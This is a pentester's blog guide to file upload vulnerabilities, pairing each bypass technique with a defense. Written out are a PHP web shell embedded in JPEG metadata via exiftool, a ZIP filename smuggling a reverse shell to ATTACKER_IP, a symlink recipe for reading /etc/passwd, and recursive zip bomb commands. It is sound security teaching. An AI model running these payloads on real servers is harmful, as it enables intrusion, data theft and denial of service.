Dusan Jevtic
AboutBlogContact

Table of Contents

Reading progress0%
Web SecurityJan 15, 2025•12 min read

A Pentester's Guide to File Upload Vulnerabilities

#Pentesting#File Upload#Web Security#Guide

Introduction

File upload functionality is everywhere, from profile pictures and CV submissions to document sharing platforms. While it seems harmless, poorly implemented file upload mechanisms are one of the most dangerous features in modern web applications. A single unchecked upload can allow an attacker to plant malware, execute arbitrary code on the server, or pivot into full system compromise.

For pentesters, understanding file upload vulnerabilities is crucial. These flaws often combine with weak validation, misconfigured servers, or improper access controls, making them a rich target for exploitation. At the same time, developers frequently underestimate the complexity of securing uploads, relying on client-side checks, weak MIME validation, or improper blacklists.

This guide is written from a pentester's perspective. We'll walk through common pitfalls in file upload handling, the different types of attacks they enable, and how to spot them during an assessment. You'll learn not only how to identify insecure upload mechanisms, but also how attackers bypass weak defenses using techniques like null byte injection, polyglot files, and content-type spoofing.

Ultimately, the goal is to help you approach file upload functionality with a systematic mindset: understand how it should be secured, how it often fails, and how to exploit and report these issues responsibly.

How File Uploads Work

Before we dive into vulnerabilities, it's important to understand how file uploads are supposed to work under normal conditions. At its core, a file upload is just data transfer: a user selects a file on their device, the browser packages it inside an HTTP request, and the server receives and stores it for later use. But each step in this process introduces security decisions that, if mishandled, create opportunities for attackers.

The Typical Flow

1

User selects a file

A file input field (<input type="file">) allows the user to choose a file from their device.

2

Browser sends the file

The browser creates an HTTP POST request, usually with the content type multipart/form-data.

This request contains:

  • •File name (as provided by the user's OS)
  • •MIME type (declared by the browser)
  • •File content (raw bytes of the file)
3

Server receives the request

The server parses the request and temporarily stores the file in memory or a temp directory.

4

Validation

The application (ideally) checks:

  • •File extension (e.g., .jpg, .pdf)
  • •Declared MIME type (e.g., image/png)
  • •File size limits
  • •Sometimes even inspects file headers (magic bytes) to confirm type
5

Storage and processing

After validation, the server saves the file to:

  • •File system directories
  • •A database (as BLOBs)
  • •Cloud storage (e.g., AWS S3, Azure Blob)

The file might later be displayed, downloaded, or processed (e.g., image thumbnail generation).

Why This Matters for Pentesters

Every step in this process is an opportunity for things to go wrong. If validation is weak, attackers can trick the system into accepting dangerous files. If storage is misconfigured, those files might be executed as code or served directly to other users. Understanding the standard upload workflow helps you spot where defenses are missing or can be bypassed.

File Upload Exploitation Modes

File uploads can be exploited in two primary ways, depending on where the attack takes effect:

  • •On the client side, attackers can embed malicious content, like JavaScript, that executes in a user's browser, often causing stored XSS or other client-side attacks.
  • •On the server side, uploads can be crafted to bypass restrictions, execute arbitrary code, or run system commands, potentially compromising the application or server depending on its configuration.

How client-side file execution works

Even when server-side restrictions are in place, file uploads can introduce risks on the client side. Malicious files can be crafted to execute code in the browser or exploit vulnerabilities in client software.

The most common issue is stored cross-site scripting (XSS). An attacker can upload a file containing HTML or JavaScript that is later displayed to other users. When their browsers render the content, the script runs, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

Other client-side risks include malicious file formats. For example, specially crafted PDFs, SVGs, or Office documents can exploit weaknesses in the software used to view them. Even image files can contain hidden scripts or payloads in metadata that some applications might process.

From a pentester's perspective, client-side risks require understanding how uploaded content is displayed or handled. Files that appear harmless can still execute actions in the user's context if the application fails to sanitize or validate them properly.

How server-side file execution works

When a file is uploaded to a server, it does not execute automatically. Execution only occurs when a user requests the file through a web server URL and the server is configured to process that file type. For example, if a .php file is uploaded to a PHP-enabled server, accessing it triggers the PHP engine to interpret and run the code. The output, usually HTML, is sent to the client, while the original PHP code is never exposed.

If the server does not process PHP files, the file is treated as static content and may be downloaded or displayed as plain text. In this case, the code cannot run but its contents might still be exposed to anyone who accesses it.

This distinction is crucial for security. Attackers who can place a .php file in a directory that allows execution can trigger it by visiting the file URL, potentially achieving remote code execution. If the file resides in a directory that serves only static content, it will not run but could still leak sensitive source code. Misconfigured servers or directories with overly permissive execution settings are what make server-side file upload vulnerabilities particularly dangerous.

Blacklisting vs Whitelisting

Blacklisting is a defense where the server blocks specific file types or extensions that are considered dangerous, while allowing all other files. It's easy to implement but can be bypassed if an attacker uses a file type not included in the blacklist.

Whitelisting is a more secure approach where the server allows only a specific set of safe file types or extensions and rejects everything else. This reduces the risk of malicious files being uploaded, but it requires carefully defining which types are truly safe.

Both methods are used to control what files can be uploaded, but whitelisting is generally recommended as the stronger defense.

Blacklist Bypass Techniques

Blacklist Bypass Technique #1: Alternate Extensions

When an application tries to block dangerous file types using a blacklist, it often checks only for common extensions like .php. However, PHP can be executed under many other valid extensions depending on the server configuration.

For example, if .php is blocked, attackers may still upload files using alternative extensions such as:

  • •.phpt
  • •.phtml
  • •.php1
  • •.php2

If the server is configured to treat these as PHP scripts, the uploaded file will still execute, bypassing the blacklist filter.

Why it works:

Blacklisting is reactive and incomplete. Developers might block a few "known dangerous" extensions but forget others that behave the same way.

Defense:

Instead of blocking bad extensions, use whitelisting - only allow safe file types (e.g., .jpg, .png, .pdf) and enforce strict server-side checks.

Blacklist Bypass Technique #2: Case-Sensitive Extensions

Some file upload filters are case sensitive and only block lowercase extensions like .php. This means that the filter might reject file.php but still allow variations with mixed uppercase and lowercase letters.

For example, an attacker could upload files with extensions such as:

  • •file.pHp
  • •file.Php
  • •file.phP

If the server treats these variations the same as .PHP, the file will still execute as PHP code, bypassing the blacklist restriction.

Why it works:

Blacklists that depend on exact string matching fail when they don't normalize input. Since many filesystems and interpreters treat extensions case-insensitively, attackers can sneak through by simply changing letter casing.

Defense:

Always normalize extensions (e.g., convert to lowercase) before comparison, or better yet, use whitelisting to allow only specific safe types (like .jpg, .png, .pdf).

Blacklist Bypass Technique #3: Regex Filter Bypass

Sometimes developers use regular expressions (regex) to check file extensions. A common mistake is validating that a filename simply contains .jpg (or another "safe" extension) anywhere, rather than making sure it actually appears at the end of the filename.

For example, if the regex only checks for .jpg, an attacker could upload a file named:

Filenameexample
shell.jpg.php

The filter sees .jpg in the name and allows the upload. However, the server looks at the final extension .php when deciding how to handle the file. If PHP execution is enabled, the uploaded file will still be interpreted as PHP code, bypassing the blacklist. This behavior depends on the server configuration and how it processes files with multiple extensions.

Why it works:

Weak regex checks are prone to logical flaws. Developers often forget that servers care about the last extension, not just whether a filename "contains" a safe string. Attackers exploit this gap with double extensions.

Defense:

Write regex rules carefully so they only allow approved extensions at the end of filenames (e.g., $ anchor in regex). Combine this with MIME type validation and store uploads outside executable directories.

Blacklist Bypass Technique #4: Server Configuration Override

Some web servers, such as Apache, allow per-directory configuration using special files like .htaccess. These files can override the server's default behavior, including how it interprets file extensions. If an attacker is able to upload an .htaccess file, they may be able to redefine how certain extensions are handled.

For example, an attacker could upload an .htaccess file with a rule that tells Apache to treat .abc files as PHP scripts. Once that rule is in place, uploading a malicious file named shell.abc would result in the server executing it as PHP code.

This attack is particularly dangerous because even if the application blocks direct .php uploads, the attacker has effectively reconfigured the server to execute their payload under a different extension.

Why it works:

Many servers allow .htaccess overrides by default. If upload directories are not restricted, attackers can smuggle in configuration files that alter how the server processes files. This completely bypasses extension-based blacklists.

Defense:

Disable .htaccess overrides where possible (AllowOverride None in Apache). Store uploaded files outside of web-accessible directories. If per-directory configuration is required, explicitly restrict what directives are permitted to avoid execution of untrusted files.

Blacklist Bypass Technique #5: Null Byte Injection

Null byte injection can be used to bypass both blacklists and whitelists.

It works by inserting a null byte (%00) in the filename, which acts as a string terminator in some backend languages or poorly implemented file handling functions. Everything after the null byte may be ignored by the server's validation logic.

For example, an attacker could upload a file named:

Filenameexample
shell.php%00.jpg

The application sees .jpg at the end and allows the upload, but the server interprets .php as the real extension and executes the file.

Why it works:

Some backend systems do not properly handle null bytes in strings. Validation functions may stop processing at the null byte, while the filesystem or interpreter continues reading the actual extension.

Defense:

Ensure your server-side code and libraries correctly handle null bytes. Normalize filenames, validate the actual file content, and store uploads in non-executable directories.

Blacklist Bypass Technique #6: Web Shell Upload via Path Traversal

In many applications, the directory where user uploads are stored has strict validation and restrictions, such as file type checks, to prevent execution of scripts. Other directories on the server, which are assumed to be "out of reach," may not have the same protections.

Example of a restricted upload folderPHP
$allowed_extensions = ['jpg','png','gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);

if(!in_array(strtolower($ext), $allowed_extensions)){
    die("File type not allowed");
}

move_uploaded_file($_FILES['file']['tmp_name'], "uploads/avatars/" . $_FILES['file']['name']);

An attacker can exploit this by uploading a malicious file to a different directory, bypassing the usual checks. For example, if uploads/avatars blocks PHP files, moving a web shell to another folder like uploads/files may allow it to execute.

Path traversal attemptPHP
$_FILES['file']['name'] = "../files/shell.php";
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/avatars/" . $_FILES['file']['name']);
// Resolves to uploads/files/shell.php

By performing path traversal or manipulating the upload path, the attacker can place a file in a less-protected directory.

Once the file is in a directory without execution restrictions, it can run as intended. For instance, moving test.php from avatars/ to files/ allowed it to bypass the original restrictions and execute:

Accessing the uploaded web shellPHP
include("uploads/files/test.php");
// The PHP code executes

Why it works:

Some directories are not consistently protected, and access control may only be enforced at the upload point. Attackers exploit this to place malicious files in a directory where execution is allowed.

Defense:

Apply consistent server-side validation and execution restrictions across all directories. Store uploads outside web-accessible paths and avoid relying on folder-specific protections alone.

Whitelist Bypass Techniques

Whitelist Bypass Technique #1: Null Byte Injection

Null Byte Injection can be used to bypass both blacklists and whitelists, depending on how the server handles filenames. Since we already explained it in the blacklist bypass techniques, we won't double explain it here.

Whitelist Bypass Technique #2: Double Extension

Double extension bypass involves naming a file with two extensions, such as:

  • •shell.php.png
  • •shell.php;png
  • •shell.php:png

Even if the whitelist only allows image files like .png or .jpg, the server may still interpret the file based on the first extension (.php) depending on configuration. This allows a malicious file to bypass the whitelist while still being executed as PHP.

Why it works:

Whitelists often only check the last extension or assume the filename contains a single extension. Servers, however, may process files according to the first recognized executable extension.

Defense:

Always validate the actual content of the file (magic bytes) in addition to the extension, normalize filenames, and store uploads in non-executable directories.

Whitelist Bypass Technique #3: Content-Type Header Bypass

The MIME type (Multipurpose Internet Mail Extensions), defined in RFC 6838, is meant to describe the nature of a file. It consists of two parts, a main type and a subtype, for example, image/gif. When files are uploaded, this information is passed in the Content-Type header of the request.

Some applications rely on this header to determine whether a file is safe to upload. For instance, the filter might only allow files if the header says image/jpeg or image/png.

The problem is that this header comes directly from the client and can easily be tampered with. An attacker could upload a PHP web shell but set the header to:

Content-Type Headerexample
Content-Type: image/jpeg

The application sees what looks like a valid file type and accepts the upload. Later, when the server processes the file, it looks at the actual extension and content. If the file ends with .php and PHP execution is enabled, the server will still run it as code. Whether this succeeds depends on the server configuration and how it prioritizes extensions versus MIME type.

Why it works:

Trusting user-supplied headers is insecure. The Content-Type value is not reliable and can be forged with tools like Burp Suite or curl.

Defense:

Do not rely solely on the Content-Type header. Instead, perform server-side validation that checks both the extension and the actual file contents (via magic bytes). Use whitelisting to allow only safe formats, and always store uploads in non-executable directories.

Whitelist Bypass Technique #4: Invalid Extension

By submitting a file with an invalid or unknown extension, the backend may ignore that extra extension and treat the rest of the filename as a normal file. For example:

Filenameexample
shell.php.dule

If the server does not recognize .dule as a valid extension, it may strip or ignore it and save the file as shell.php. This allows the attacker to bypass the whitelist restrictions while still uploading an executable PHP file.

Why it works:

Many whitelists only check for allowed extensions at the very end of the filename. Unknown extensions may be ignored, leaving the dangerous part (.php) intact.

Defense:

Normalize filenames before validation, strictly enforce allowed extensions, check actual file content (magic bytes), and store uploads in non-executable directories.

Whitelist Bypass Technique #5: Polyglot Web Shell Upload

Polyglot files are files that can satisfy the format requirements of multiple file types at once. An attacker can take a valid file type allowed by the whitelist (e.g., a JPEG image) and embed malicious PHP code into its metadata.

If the application validates uploads based on file headers or metadata, this allows the attacker to craft a file that appears valid but executes as PHP on the server.

Example:

Take a legitimate JPEG file and embed a PHP web shell into its metadata:

Commandbash
exiftool -Comment="<?php echo system($_REQUEST['cmd']); ?>" input.jpg -o polyglot.php
  • •exiftool is used to read and write file metadata.
  • •Comment adds metadata containing the PHP code.
  • •input.jpg is your original image file.
  • •o polyglot.php specifies the output file containing the embedded PHP script.

When uploaded, the file passes the whitelist checks because the application only looks at the parts of the file that should be there (valid JPEG headers/metadata) and ignores any extra content that shouldn't be there (the embedded PHP code). The server can then execute the PHP web shell.

Why it works:

Whitelists often validate files based on allowed extensions or headers only. By embedding executable code in parts of the file that aren't checked, attackers bypass superficial checks.

Defense:

Always validate the actual content of uploaded files using reliable methods (e.g., checking magic bytes), strip or reject unexpected metadata, and store files in non-executable directories.

Whitelist Bypass Technique #6: Web Shell Upload via Path Traversal

Path Traversal can be used to bypass both blacklists and whitelists, depending on how the server handles file paths. Since we already explained it in the blacklist bypass techniques, we won't double explain it here.

Other Upload-Related Vulnerabilities

Unrestricted File Size Uploads

Some applications allow users to upload files to cloud storage without enforcing size limits. For example, very large files could be uploaded, which may lead to performance issues and increased storage costs.

Why it works:

This vulnerability exists because the application fails to implement server-side checks on the Content-Length header or the actual file size during the upload process. It blindly trusts that the client will adhere to any stated size limits or that the underlying cloud service will handle it. Many cloud services have their own limits, but if they are configured too high or not at all, the application's lack of validation becomes the critical failure point.

Without proper size restrictions, attackers can upload extremely large files to consume storage space or bandwidth. This can slow down processing, trigger timeouts, or even cause denial-of-service (DoS) conditions. It also increases operational costs and may impact other applications using the same storage resources.

Defense:

  • •Enforce file size limits both on the client side and server side.
  • •Configure cloud storage policies to reject oversized uploads.
  • •Monitor storage usage and detect unusual file upload patterns.
  • •Implement per-user storage quotas and provide clear feedback when uploads exceed allowed limits.

RCE via Malicious ZIP Filenames

Some applications allow users to upload ZIP files and then decompress them on the server. If the server passes filenames directly to shell commands without any validation or sanitization, an attacker can include special characters in the filename to execute arbitrary commands.

Example:

A filename inside a ZIP like:

Filenameexample
anything;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;example.zip

the shell interprets the ; as a command separator. This means the server doesn't just treat it as part of the filename, it runs the command immediately.

In this case, the bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 opens a reverse shell, giving the attacker interactive access to the server. This clearly demonstrates remote code execution because the server executes whatever is after the separator, regardless of the original intention to only unzip files.

Why it works:

Servers often trust user-supplied filenames and pass them directly to shell commands without validation. Any special shell characters (;, &, |, backticks, etc.) can be interpreted as commands, allowing attackers to execute arbitrary code.

Defense:

  • •Never extract ZIPs using shell commands directly.
  • •Sanitize filenames to remove special characters.
  • •Avoid absolute paths or .. sequences.
  • •Extract files in a sandboxed directory and validate each file before processing.

Accessing Linked Files via ZIP Symlinks

Some applications allow users to upload ZIP files and decompress them on the server. If the server preserves symlinks during extraction, an attacker can include symbolic links inside the ZIP that point to sensitive files outside the intended upload directory. When these symlinked files are accessed after extraction, the attacker can read or interact with files they normally shouldn't be able to.

What is a symbolic link?

A symbolic link (symlink) is a special type of file that points to another file or directory on the system. It acts like a shortcut or alias: when accessed, it behaves as if you are accessing the target file itself. This makes it possible to reference files outside the allowed directories without moving or copying them.

Example:

1
Create a symlink pointing to a sensitive file:
Commandbash
ln -s /etc/passwd sym_passwd.txt
  • •ln -s → creates a symbolic link (soft link).
  • •/etc/passwd → the target file we want to access.
  • •sym_passwd.txt → the name of the symlink inside our local directory. After extraction, this filename will appear in the upload folder, but it points to /etc/passwd.

Note: You could also use relative paths like ../../../../etc/passwd if the server restricts absolute paths.

2
Add the symlink to a ZIP archive while preserving symlinks:
Commandbash
zip --symlinks exploit.zip sym_passwd.txt

--symlinks ensures the link is stored as a link, not the file contents. This means the ZIP archive contains metadata that tells the extractor, "this is a symbolic link pointing to this path," rather than embedding the actual content of the target file.

3
Upload exploit.zip to the server.

When the server extracts exploit.zip, the extraction process reads this metadata and creates a new file entry inside the upload directory that acts as the symlink. The symlink itself is just a small file that points to another path on the filesystem. When any process (or user) tries to read sym_passwd.txt, the filesystem transparently redirects the read to the target file, e.g., /etc/passwd.

In other words, the server doesn't copy the contents of /etc/passwd into the upload folder-it only creates a shortcut that points to it. That's why accessing sym_passwd.txt behaves exactly like accessing /etc/passwd, bypassing normal upload restrictions.

Why it works:

Servers often don't check whether extracted files are symlinks pointing outside the allowed directory. This allows attackers to read sensitive data.

Defense:

  • •Disable symlink extraction when decompressing user uploads.
  • •Extract ZIPs in a sandboxed directory with no access to sensitive paths.
  • •Validate that all extracted files reside strictly inside the allowed upload directory.
  • •Consider flattening directory structures or renaming files during extraction.

Zip Bomb (Decompression Bomb)

The "zip bomb" attack still exists, but modern systems have robust defenses that make the classic versions almost harmless for most users. Sophisticated variants, however, can still pose a risk, particularly to servers or outdated systems.

A ZIP bomb is a compressed archive crafted to expand into an extremely large amount of data when decompressed. For example, a few kilobytes of compressed data can inflate to gigabytes, terabytes, or even petabytes, overwhelming CPU, memory, or disk space.

If an application automatically extracts user-uploaded ZIP files without enforcing size limits, a malicious ZIP bomb can cause the server to slow down, crash, or become unresponsive.

Testing for ZIP Bombs

To test for this vulnerability, you can create a small, highly compressible file and then compress it at the highest level. For example:

Commandsbash
# Step 1: Create a highly repetitive file
yes A | head -c 100M > bomb.txt

# Step 2: Compress with maximum compression
zip -9 bomb.zip bomb.txt

The resulting bomb.zip may only be a few kilobytes, but decompressing it restores the full 100 MB.

You can make the ZIP bomb even more dangerous by using recursive compression, which means putting a ZIP file inside another ZIP, multiple times. This allows a small file on disk to expand into an extremely large size when decompressed.

Commandsbash
# Step 1:
cp bomb.zip layer0.zip

# Step 2:
for i in {1..5}; do
  zip -r layer$((i)).zip layer$((i-1)).zip
done

Explanation of what's happening:

1

cp bomb.zip layer0.zip – we make a copy of the original ZIP file to start layering.

2

for i in {1..5}; do ... done – a loop that runs 5 times, each time creating a new "layered" ZIP.

3

zip -r layer$((i)).zip layer$((i-1)).zip – each new ZIP (layer1.zip, layer2.zip, etc.) contains the previous ZIP as a file inside it.

Each layer keeps the archive small while exponentially increasing the decompressed size. This tests whether the application enforces file size limits or memory/cpu safeguards during extraction.

Why it works:

Compression algorithms store repeated data efficiently. When the server decompresses the archive, the full data is restored, consuming large amounts of resources.

Defense:

  • •Enforce strict file size limits
  • •Scan archives before extraction
  • •Use decompression libraries that limit expansion
  • •Run extraction processes in sandboxed environments

Conclusion

File upload vulnerabilities remain one of the most critical security issues in web applications today in terms of impact. From simple extension bypasses to sophisticated polyglot attacks, the attack surface is broad and constantly evolving.

As a pentester, understanding these techniques is essential for comprehensive security assessments. Remember that defense requires a multi-layered approach: proper validation and secure storage practices are all necessary to protect against file upload attacks.

Always test upload functionality thoroughly, considering both client-side and server-side implications, and ensure your findings are clearly communicated to help developers implement effective countermeasures.

Share this article